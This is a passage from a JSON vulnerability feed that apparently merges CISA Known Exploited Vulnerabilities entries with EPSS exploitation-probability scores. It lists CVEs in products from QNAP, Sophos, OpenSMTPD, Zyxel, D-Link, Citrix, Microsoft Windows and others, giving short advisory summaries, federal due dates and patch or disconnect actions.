Systems","product":"Helpdesk","stacks":["QNAP","QNAP Systems","Helpdesk"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-25","dueAt":"2022-04-15","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.01982,"percentile":0.80431,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2020-2506&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2020-2506","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-25","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2020-2506 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2020-2506&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2020-2506, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2020-25223","cveId":"CVE-2020-25223","aliases":[],"kind":"vulnerability","title":"Sophos SG UTM Remote Code Execution Vulnerability","summary":"A remote code execution vulnerability exists in the WebAdmin of Sophos SG UTM.","detail":"CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-25","updatedAt":null,"regions":["Global"],"vendor":"Sophos","product":"SG UTM","stacks":["Sophos","SG UTM"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-25","dueAt":"2022-04-15","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.96753,"percentile":0.99886,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2020-25223&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2020-25223","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-25","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2020-25223 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2020-25223&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2020-25223, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2020-5410","cveId":"CVE-2020-5410","aliases":[],"kind":"vulnerability","title":"VMware Tanzu Spring Cloud Config Directory Traversal Vulnerability","summary":"Spring, by VMware Tanzu, Cloud Config contains a path traversal vulnerability that allows applications to serve arbitrary configuration files.","detail":"CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-25","updatedAt":null,"regions":["Global"],"vendor":"VMware Tanzu","product":"Spring Cloud Configuration (Config) Server","stacks":["VMware","VMware Tanzu","Spring Cloud Configuration (Config) Server"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-25","dueAt":"2022-04-15","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.95586,"percentile":0.99869,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2020-5410&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2020-5410","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-25","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2020-5410 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2020-5410&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2020-5410, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2020-7247","cveId":"CVE-2020-7247","aliases":[],"kind":"vulnerability","title":"OpenSMTPD Remote Code Execution Vulnerability","summary":"smtp_mailaddr in smtp_session.c in OpenSMTPD, as used in OpenBSD and other products, allows remote attackers to execute arbitrary commands as root via a crafted SMTP session.","detail":"CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-25","updatedAt":null,"regions":["Global"],"vendor":"OpenBSD","product":"OpenSMTPD","stacks":["OpenBSD","OpenSMTPD"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-25","dueAt":"2022-04-15","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.98972,"percentile":0.99929,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2020-7247&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2020-7247","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-25","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2020-7247 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2020-7247&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2020-7247, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2020-9054","cveId":"CVE-2020-9054","aliases":[],"kind":"vulnerability","title":"Zyxel Multiple NAS Devices OS Command Injection Vulnerability","summary":"Multiple Zyxel network-attached storage (NAS) devices contain a pre-authentication command injection vulnerability, which may allow a remote, unauthenticated attacker to execute arbitrary code.","detail":"CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-25","updatedAt":null,"regions":["Global"],"vendor":"Zyxel","product":"Multiple Network-Attached Storage (NAS) Devices","stacks":["Zyxel","Multiple Network-Attached Storage (NAS) Devices"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-25","dueAt":"2022-04-15","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99988,"percentile":0.99984,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2020-9054&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2020-9054","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-25","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2020-9054 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2020-9054&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2020-9054, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2020-9377","cveId":"CVE-2020-9377","aliases":[],"kind":"vulnerability","title":"D-Link DIR-610 Devices Remote Command Execution","summary":"D-Link DIR-610 devices allow remote code execution via the cmd parameter to command.php.","detail":"CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"The impacted product is end-of-life and should be disconnected if still in use.","publishedAt":"2022-03-25","updatedAt":null,"regions":["Global"],"vendor":"D-Link","product":"DIR-610 Devices","stacks":["D-Link","DIR-610 Devices"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-25","dueAt":"2022-04-15","action":"The impacted product is end-of-life and should be disconnected if still in use.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.21888,"percentile":0.9763,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2020-9377&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2020-9377","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-25","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2020-9377 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2020-9377&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2020-9377, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-22941","cveId":"CVE-2021-22941","aliases":[],"kind":"vulnerability","title":"Citrix ShareFile Improper Access Control Vulnerability","summary":"Improper Access Control in Citrix ShareFile storage zones controller may allow an unauthenticated attacker to remotely compromise the storage zones controller.","detail":"CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-25","updatedAt":null,"regions":["Global"],"vendor":"Citrix","product":"ShareFile","stacks":["Citrix NetScaler","Citrix","ShareFile"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-25","dueAt":"2022-04-15","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.53585,"percentile":0.98985,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-22941&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-22941","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-25","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-22941 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-22941&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-22941, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-42237","cveId":"CVE-2021-42237","aliases":[],"kind":"vulnerability","title":"Sitecore XP Remote Command Execution Vulnerability","summary":"Sitcore XP contains an insecure deserialization vulnerability which can allow for remote code execution.","detail":"CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-25","updatedAt":null,"regions":["Global"],"vendor":"Sitecore","product":"XP","stacks":["Sitecore","XP"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-25","dueAt":"2022-04-15","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.97566,"percentile":0.99901,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-42237&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-42237","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-25","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-42237 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-42237&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-42237, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2022-21999","cveId":"CVE-2022-21999","aliases":[],"kind":"vulnerability","title":"Microsoft Windows Print Spooler Privilege Escalation Vulnerability","summary":"Microsoft Windows Print Spooler contains an unspecified vulnerability which can allow for privilege escalation.","detail":"CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-25","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-25","dueAt":"2022-04-15","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.41007,"percentile":0.9865,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2022-21999&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2022-21999","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-25","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2022-21999 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2022-21999&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2022-21999, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2022-26143","cveId":"CVE-2022-26143","aliases":[],"kind":"vulnerability","title":"MiCollab, MiVoice Business Express Access Control Vulnerability","summary":"A vulnerability has been identified in MiCollab and MiVoice Business Express that may allow a malicious actor to gain unauthorized access to sensitive information and services, cause performance degradations or a denial of service condition on the affected system.","detail":"CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-25","updatedAt":null,"regions":["Global"],"vendor":"Mitel","product":"MiCollab, MiVoice Business Express","stacks":["Mitel","MiCollab, MiVoice Business Express"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-25","dueAt":"2022-04-15","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.87325,"percentile":0.99752,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2022-26143&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2022-26143","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-25","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2022-26143 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2022-26143&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2022-26143, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2022-26318","cveId":"CVE-2022-26318","aliases":[],"kind":"vulnerability","title":"WatchGuard Firebox and XTM Appliances Arbitrary Code Execution","summary":"On WatchGuard Firebox and XTM appliances, an unauthenticated user can execute arbitrary code.","detail":"CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-25","updatedAt":null,"regions":["Global"],"vendor":"WatchGuard","product":"Firebox and XTM Appliances","stacks":["WatchGuard","Firebox and XTM Appliances"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-25","dueAt":"2022-04-15","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.78157,"percentile":0.99574,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2022-26318&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2022-26318","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-25","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2022-26318 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2022-26318&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2022-26318, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2015-2546","cveId":"CVE-2015-2546","aliases":[],"kind":"vulnerability","title":"Microsoft Win32k Memory Corruption Vulnerability","summary":"The kernel-mode driver in Microsoft Windows OS and Server allows local users to gain privileges via a crafted application.","detail":"CISA added this entry on 2022-03-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-15","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Win32k","stacks":["Microsoft Windows","Microsoft","Win32k"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-15","dueAt":"2022-04-05","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.10107,"percentile":0.95607,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2015-2546&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2015-2546","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-15","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2015-2546 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2015-2546&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2015-2546, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2016-3309","cveId":"CVE-2016-3309","aliases":[],"kind":"vulnerability","title":"Microsoft Windows Kernel Privilege Escalation Vulnerability","summary":"A privilege escalation vulnerability exists when the Windows kernel fails to properly handle objects in memory. An attacker who successfully exploited this vulnerability could run arbitrary code in kernel mode.","detail":"CISA added this entry on 2022-03-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-15","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-15","dueAt":"2022-04-05","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.20467,"percentile":0.97488,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2016-3309&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2016-3309","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-15","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2016-3309 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2016-3309&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2016-3309, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2017-0101","cveId":"CVE-2017-0101","aliases":[],"kind":"vulnerability","title":"Microsoft Windows Transaction Manager Privilege Escalation Vulnerability","summary":"A privilege escalation vulnerability exists when the Windows Transaction Manager improperly handles objects in memory.","detail":"CISA added this entry on 2022-03-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-15","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-15","dueAt":"2022-04-05","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.57482,"percentile":0.99074,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2017-0101&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2017-0101","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-15","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2017-0101 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2017-0101&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2017-0101, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2018-8120","cveId":"CVE-2018-8120","aliases":[],"kind":"vulnerability","title":"Microsoft Win32k Privilege Escalation Vulnerability","summary":"A privilege escalation vulnerability exists in Windows when the Win32k component fails to properly handle objects in memory.","detail":"CISA added this entry on 2022-03-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-15","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Win32k","stacks":["Microsoft Windows","Microsoft","Win32k"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-15","dueAt":"2022-04-05","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.73288,"percentile":0.99456,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2018-8120&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2018-8120","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-15","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2018-8120 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2018-8120&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2018-8120, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2019-0543","cveId":"CVE-2019-0543","aliases":[],"kind":"vulnerability","title":"Microsoft Windows Privilege Escalation Vulnerability","summary":"A privilege escalation vulnerability exists when Windows improperly handles authentication requests. An attacker who successfully exploited this vulnerability could run processes in an elevated context.","detail":"CISA added this entry on 2022-03-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. 